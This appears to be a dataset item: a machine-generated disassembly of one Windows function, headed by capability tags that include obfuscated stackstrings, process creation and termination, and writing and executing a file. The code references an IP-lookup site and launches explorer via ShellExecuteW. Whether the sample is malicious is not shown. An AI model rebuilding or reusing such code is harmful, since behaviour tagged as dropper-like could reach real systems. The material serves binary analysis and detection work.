Function at 0x411c40
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Enumerate gui resources
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59fe4a
mov eax, dword fs:[0]
push eax
sub esp, 0x8d0
mov eax, dword [0x611004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x620]
mov dword [ebp - 0x220], 0
call fcn.00404bd0
mov dword [ebp - 4], 0
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x5f0], 0
mov dword [ebp - 0x5ec], 0
mov byte [ebp - 4], 1
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.rg_volcano_base::rg_KuoZhanDuiXiangLei.0
mov byte [ebp - 4], 2
push ecx
lea ecx, [ebp - 0x5e8]
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.rg_volcano_base::rg_WenBenShuZuLei.0
call fcn.0040a490
mov byte [ebp - 4], 4
push ecx
lea ecx, [ebp - 0x494]
call fcn.0040c540
mov esi, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x620]
mov edx, dword [ebp - 0x620]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x61c], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x618], ecx
lea ecx, [ebp - 0x610]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x610]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x610]
call fcn.00402b60
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x494]
call fcn.004048c0
lea ecx, [ebp - 0x5f4]
call fcn.00414370
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x494]
call fcn.00404bd0
lea edx, [ebp - 0x494]
mov dword [ebp - 0x220], 1
xor ecx, ecx
mov edi, eax
call fcn.00428b70
mov esi, dword [edi + 0xc]
test esi, esi
je 0x411d95
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x411d84
sub esi, ecx
sar esi, 1
jmp 0x411d9f
mov esi, dword [edi + 0x24]
test esi, esi
je 0x411d9f
shr esi, 1
dec esi
mov edi, 1
mov dword [ebp - 0x220], edi
and edi, 0xfffffffe
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x494]
call fcn.004048c0
mov ebx, 0x5e4c3c
cmp esi, 5
jle 0x411de6
mov ecx, dword [ebp - 0x5d0]
xor edx, edx
mov dword [ebp - 0x224], edx
test ecx, 0xfffffffc
ja 0x4121f5
push ecx
lea ecx, [ebp - 0x2cc]
call fcn.00402730
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x6d0]
call fcn.00404bd0
mov byte [ebp - 4], 0x31
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0x2e0], 0
mov byte [ebp - 4], 0x32
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d0], 0x40
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x77c]
call fcn.0040fe90
mov byte [ebp - 4], 0x34
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x300], 0
mov dword [ebp - 0x2fc], 0
mov byte [ebp - 4], 0x35
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2ec], 0x40
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x6a4]
call fcn.00404bd0
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x678]
call fcn.00404bd0
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x43c]
call fcn.00404bd0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x64c]
call fcn.00404bd0
mov byte [ebp - 4], 0x3a
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0
mov byte [ebp - 4], 0x3b
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolComObject.0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x4c0]
call fcn.00404bd0
mov byte [ebp - 4], 0x3d
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x4b4], 0x5e4c3c
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x4ec]
call fcn.00404bd0
mov byte [ebp - 4], 0x3f
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x4e0], 0x5e4c3c
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x518]
call fcn.00404bd0
mov byte [ebp - 4], 0x41
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x50c], 0x5e4c3c
mov byte [ebp - 4], 0x42
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x260], 0
mov byte [ebp - 4], 0x43
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x250], 0x40
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x544]
call fcn.00404bd0
mov byte [ebp - 4], 0x45
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x538], 0x5e4c3c
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x570]
call fcn.00404bd0
mov byte [ebp - 4], 0x47
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x564], 0x5e4c3c
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x59c]
call fcn.00404bd0
mov byte [ebp - 4], 0x49
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x590], 0x5e4c3c
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x5c8]
call fcn.00404bd0
mov byte [ebp - 4], 0x4b
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x5bc], 0x5e4c3c
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x468]
call fcn.00404bd0
mov byte [ebp - 4], 0x4d
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x45c], 0x5e4c3c
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x3b8]
call fcn.00404bd0
mov byte [ebp - 4], 0x4f
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x3ac], str.https:__2023.ip138.com_
mov byte [ebp - 4], 0x50
lea eax, [ebp - 0x244]
or dword [ebp - 0x240], 1
or dword [ebp - 0x264], 1
push 1
push 1
push 1
push eax
lea eax, [ebp - 0x4c0]
push 1
push eax
lea eax, [ebp - 0x4ec]
push eax
push 0xf
lea eax, [ebp - 0x518]
push eax
lea eax, [ebp - 0x268]
push eax
push 0
push 0
lea eax, [ebp - 0x544]
push eax
lea eax, [ebp - 0x570]
push eax
lea eax, [ebp - 0x59c]
push eax
lea eax, [ebp - 0x5c8]
push eax
lea eax, [ebp - 0x468]
push eax
push 0
lea edx, [ebp - 0x3b8]
lea ecx, [ebp - 0x34c]
call fcn.00405910
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x294]
push eax
call fcn.004029d0
mov byte [ebp - 4], 0x53
mov eax, dword [ebp - 0x284]
mov esi, dword [ebp - 0x280]
sub eax, esi
cmp eax, 4
jl 0x412acd
mov eax, dword [ebp - 0x288]
mov dword [eax + esi], 0
mov ecx, dword [ebp - 0x280]
add ecx, 4
mov dword [ebp - 0x280], ecx
jmp 0x412ae9
mov ebx, 0x5e4c3c
mov eax, dword [ebp - 0x5d8]
xor esi, esi
test ecx, ecx
lea ecx, [ebp - 0x388]
cmove eax, esi
mov edx, dword [eax + edx*4]
call fcn.00404bd0
mov byte [ebp - 4], 7
test edx, edx
mov eax, ebx
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWString.0
cmovne eax, edx
lea ecx, [ebp - 0x388]
push eax
call fcn.0042c180
mov byte [ebp - 4], 8
lea edx, [ebp - 0x388]
push 0x5e7788
lea ecx, [ebp - 0x3e4]
call fcn.0042d100
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x620]
push ecx
mov edx, eax
lea ecx, [ebp - 0x278]
call fcn.0042cf80
mov byte [ebp - 4], 0xa
mov edx, eax
push 0x5e777c
lea ecx, [ebp - 0x2a4]
call fcn.0042d100
add esp, 0xc
mov ebx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x330]
call fcn.00404bd0
mov dword [ebp - 0x230], eax
or edi, 2
xor eax, eax
mov dword [ebp - 0x220], edi
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21c]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x412353
lea eax, [ebp - 0x21c]
push 0x5c
push eax
call fcn.0057cc30
add esp, 8
lea esi, [ebp - 0x21c]
test eax, eax
je 0x4122de
lea esi, [eax + 2]
mov eax, dword [ebp - 0x324]
mov ecx, dword [ebp - 0x314]
test eax, eax
jne 0x4122fd
cmp dword [ebp - 0x30c], 0
mov eax, 0x5e4c3c
cmovne eax, ecx
cmp esi, eax
je 0x412353
mov dword [ebp - 0x324], 0
test ecx, ecx
je 0x41231f
mov eax, dword [ebp - 0x320]
push ecx
lea ecx, [ebp - 0x320]
call dword [eax + 0xc]
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x310], 0
test esi, esi
je 0x412353
cmp word [esi], 0
je 0x412353
push esi
lea ecx, [ebp - 0x320]
call fcn.0042a0e0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x410]
call fcn.00404bd0
or edi, 4
lea edx, [ebp - 0x410]
xor ecx, ecx
mov dword [ebp - 0x220], edi
mov esi, eax
call fcn.00428b70
push dword [ebp - 0x230]
mov edx, esi
lea ecx, [ebp - 0x35c]
call fcn.0042cf80
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - method.CVolObjectArray.virtual_0], 0x5e6bc4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0
mov byte [ebp - 4], 0x10
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x234], 0x40
mov byte [ebp - 4], 0xf
or edi, 8
mov dword [ebp - 0x220], edi
mov eax, dword [ecx + 0xc]
test eax, eax
jne 0x412415
cmp dword [ecx + 0x24], eax
mov eax, 0x5e4c3c
je 0x412415
mov eax, dword [ecx + 0x1c]
push ecx
push eax
lea ecx, [ebp - 0x24c]
call fcn.0042a5f0
mov eax, dword [ebx + 0xc]
mov esi, dword [ebp - 0x238]
mov ecx, esi
test eax, eax
je 0x412439
mov ebx, dword [ebp - 0x240]
jmp 0x412459
cmp dword [ebx + 0x24], 0
jne 0x41244c
mov ebx, dword [ebp - 0x240]
mov eax, 0x5e4c3c
jmp 0x412459
mov eax, dword [ebx + 0x1c]
mov ebx, dword [ebp - 0x240]
test eax, eax
je 0x41249c
cmp word [eax], 0
je 0x41249c
test ecx, ecx
js 0x41249c
push 0x5e9bec
push eax
call fcn.00587481
add esp, 8
mov dword [ebp - 0x230], eax
test eax, eax
je 0x41249c
push eax
push esi
push 1
push ebx
call fcn.005871f3
push dword [ebp - 0x230]
xor ebx, ebx
cmp eax, esi
sete bl
call fcn.00583b72
add esp, 0x14
jmp 0x41249e
xor ebx, ebx
and edi, 0xfffffff7
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0xe
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x240]
test ecx, ecx
je 0x4124e8
mov eax, dword [ebp - 0x24c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x4124e0
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x4124e8
lea ecx, [ebp - 0x24c]
call eax
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x23c], 0
mov byte [ebp - 4], 0xe
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x34c]
mov dword [ebp - 0x22c], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x340]
test ecx, ecx
je 0x412561
mov eax, dword [ebp - 0x34c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x412559
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x412561
lea ecx, [ebp - 0x34c]
call eax
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x33c], 0
mov byte [ebp - 4], 0x12
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xd
and edi, 0xfffffffb
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x400]
mov dword [ebp - 0x22c], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x3f4]
test ecx, ecx
je 0x4125f1
mov eax, dword [ebp - 0x400]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x4125e9
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x4125f1
lea ecx, [ebp - 0x400]
call eax
mov dword [ebp - 0x3f4], 0
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x3f0], 0
mov byte [ebp - 4], 0x15
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xc
and edi, 0xfffffffd
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x320]
mov dword [ebp - 0x22c], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x314]
test ecx, ecx
je 0x412681
mov eax, dword [ebp - 0x320]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x412679
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x412681
lea ecx, [ebp - 0x320]
call eax
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x310], 0
mov byte [ebp - 4], 0x18
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xb
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x294]
mov dword [ebp - 0x22c], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x288]
test ecx, ecx
je 0x412708
mov eax, dword [ebp - 0x294]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x412700
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x412708
lea ecx, [ebp - 0x294]
call eax
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x284], 0
mov byte [ebp - 4], 0x1b
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xa
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x268]
mov dword [ebp - 0x22c], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x20
mov ecx, dword [ebp - 0x25c]
test ecx, ecx
je 0x41278f
mov eax, dword [ebp - 0x268]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x412787
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x41278f
lea ecx, [ebp - 0x268]
call eax
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x258], 0
mov byte [ebp - 4], 0x1e
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 9
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x21
lea eax, [ebp - 0x3d4]
mov dword [ebp - 0x22c], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x3c8]
test ecx, ecx
je 0x412816
mov eax, dword [ebp - 0x3d4]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x41280e
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x412816
lea ecx, [ebp - 0x3d4]
call eax
mov dword [ebp - 0x3c8], 0
mov dword [ebp - 0x3c0], 0
mov dword [ebp - 0x3c4], 0
mov byte [ebp - 4], 0x21
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 8
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x378]
mov dword [ebp - 0x22c], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x36c]
test ecx, ecx
je 0x41289d
mov eax, dword [ebp - 0x378]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x412895
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x41289d
lea ecx, [ebp - 0x378]
call eax
mov dword [ebp - 0x36c], 0
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x368], 0
mov byte [ebp - 4], 0x24
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
cmp ebx, 1
je 0x412901
mov edx, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x5d0]
inc edx
mov eax, ecx
mov dword [ebp - 0x224], edx
shr eax, 2
cmp edx, eax
jl 0x4121f0
jmp 0x411de6
mov eax, dword [ebp - 0x5d8]
xor ecx, ecx
cmp dword [ebp - 0x5d0], ecx
mov edi, dword [ebp - 0x224]
cmove eax, ecx
lea ecx, [ebp - 0x3b8]
mov edx, dword [eax + edi*4]
call fcn.00404bd0
mov byte [ebp - 4], 0x27
test edx, edx
mov eax, 0x5e4c3c
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWString.0
cmovne eax, edx
lea ecx, [ebp - 0x3b8]
push eax
call fcn.0042c180
mov byte [ebp - 4], 0x28
lea edx, [ebp - 0x3b8]
push 0x5e7788
lea ecx, [ebp - 0x728]
call fcn.0042d100
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x620]
push ecx
mov edx, eax
lea ecx, [ebp - 0x754]
call fcn.0042cf80
mov byte [ebp - 4], 0x2a
mov edx, eax
push 0x5e777c
lea ecx, [ebp - 0x494]
call fcn.0042d100
add esp, 0xc
mov byte [ebp - 4], 0x2b
mov ecx, dword [eax + 0xc]
test ecx, ecx
jne 0x4129ad
cmp dword [eax + 0x24], ecx
mov ecx, 0x5e4c3c
je 0x4129ad
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.00429030
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x494]
call fcn.004048c0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x754]
call fcn.004048c0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x728]
call fcn.004048c0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x3b8]
call fcn.004048c0
cmp esi, 1
jne 0x412a01
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
lea ecx, [ebp - 0x5f4]
call fcn.00405780
mov ecx, eax
call fcn.00409ac0
push eax
lea ecx, [ebp - 0x7a8]
call fcn.00409b00
mov byte [ebp - 4], 0x2c
mov edx, eax
push 0x5e7788
lea ecx, [ebp - 0x728]
call fcn.0042d100
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x620]
push ecx
mov edx, eax
lea ecx, [ebp - 0x754]
call fcn.0042cf80
mov byte [ebp - 4], 0x2e
mov edx, eax
push 0x5e777c
lea ecx, [ebp - 0x494]
call fcn.0042d100
add esp, 0xc
mov byte [ebp - 4], 0x2f
mov ecx, eax
push 5
push 0
call fcn.004044f0
push eax
push str.explorer
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x494]
call fcn.004048c0
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x754]
call fcn.004048c0
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x728]
call fcn.004048c0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x7a8]
call fcn.004048c0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0x294]
call fcn.0042a030
mov dword [eax + esi], 0
mov ecx, dword [ebp - 0x280]
mov eax, dword [ebp - 0x288]
xor edx, edx
test ecx, ecx
lea ecx, [ebp - 0x494]
cmove eax, edx
push eax
call fcn.004229e0
or edi, 0x10
mov esi, eax
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0x52
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x54
mov ecx, dword [ebp - 0x288]
test ecx, ecx
je 0x412b4e
mov eax, dword [ebp - 0x294]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x412b46
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x412b4e
lea ecx, [ebp - 0x294]
call eax
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x284], 0
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x678]
mov eax, dword [ebp - 0x678]
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
call dword [eax + 0x44]
mov eax, dword [esi + 4]
lea ecx, [ebp - 0x668]
mov dword [ebp - 0x674], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x670], eax
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x66c], eax
mov eax, dword [ebp - 0x668]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x668]
call fcn.00402b60
and edi, 0xffffffef
mov dword [ebp - 0x220], edi
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x494]
call fcn.004048c0
mov byte [ebp - 4], 0x50
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x55
mov ecx, dword [ebp - 0x340]
test ecx, ecx
je 0x412c1b
mov eax, dword [ebp - 0x34c]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x412c13
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x412c1b
lea ecx, [ebp - 0x34c]
call eax
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x33c], 0
mov byte [ebp - 4], 0x50
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x3b8]
call fcn.004048c0
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x468]
call fcn.004048c0
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x5c8]
call fcn.004048c0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x59c]
call fcn.004048c0
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x570]
call fcn.004048c0
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x544]
call fcn.004048c0
mov byte [ebp - 4], 0x42
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0x5c
mov ecx, dword [ebp - 0x25c]
test ecx, ecx
je 0x412ce2
mov eax, dword [ebp - 0x268]
push ecx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x412cda
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x412ce2
lea ecx, [ebp - 0x268]
call eax
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x258], 0
mov byte [ebp - 4], 0x42
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x518]
call fcn.004048c0
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x4ec]
call fcn.004048c0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x4c0]
call fcn.004048c0
mov byte [ebp - 4], 0x3a
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolComObject.0
mov byte [ebp - 4], 0x60
mov ecx, dword [ebp - 0x238]
test ecx, ecx
je 0x412d5d
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x468]
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
call fcn.00404bd0
mov byte [ebp - 4], 0x61
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x45c], 0x5e77e0
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x3b8]
call fcn.00404bd0
mov byte [ebp - 4], 0x63
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CWConstString.0
mov dword [ebp - 0x3ac], 0x5e77ec
mov byte [ebp - 4], 0x64
sub esp, 8
lea eax, [ebp - 0x468]
lea edx, [ebp - 0x678]
lea ecx, [ebp - 0x494]
push eax
lea eax, [ebp - 0x3b8]
push eax
call fcn.0040bdc0
mov esi, eax
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x43c]
mov edx, dword [ebp - 0x43c]
call dword [edx + 0x44]
mov ecx, dword [esi + 4]
mov dword [ebp - 0x438], ecx
mov ecx, dword [esi + 8]
mov dword [ebp - 0x434], ecx
lea ecx, [ebp - 0x42c]
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x42c]
call dword [eax + 0x44]
lea eax, [esi + 0x10]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00402b60
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x494]
call fcn.004048c0
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x3b8]
call fcn.004048c0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x468]
call fcn.004048c0
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x640], 0
test eax, eax
je 0x412e7a
push eax
mov eax, dword [ebp - 0x63c]
lea ecx, [ebp - 0x63c]
call dword [eax + 0xc]
push str.888888
lea ecx, [ebp - 0x63c]
mov dword [ebp - 0x630], 0
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x62c], 0
call fcn.0042a0e0
mov ecx, dword [ebp - 0x430]
test ecx, ecx
je 0x412ec6
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412eb5
sub ecx, edx
sar ecx, 1
jmp 0x412ed3
mov ecx, dword [ebp - 0x418]
test ecx, ecx
je 0x412ed8
shr ecx, 1
dec ecx
cmp ecx, 2
jge 0x412f2a
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x430], 0
test eax, eax
je 0x412efc
push eax
mov eax, dword [ebp - 0x42c]
lea ecx, [ebp - 0x42c]
call dword [eax + 0xc]
push 0x5e7840
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x418], 0
mov dword [ebp - 0x41c], 0
call fcn.0042a0e0
mov eax, dword [ebp - 0x2ac]
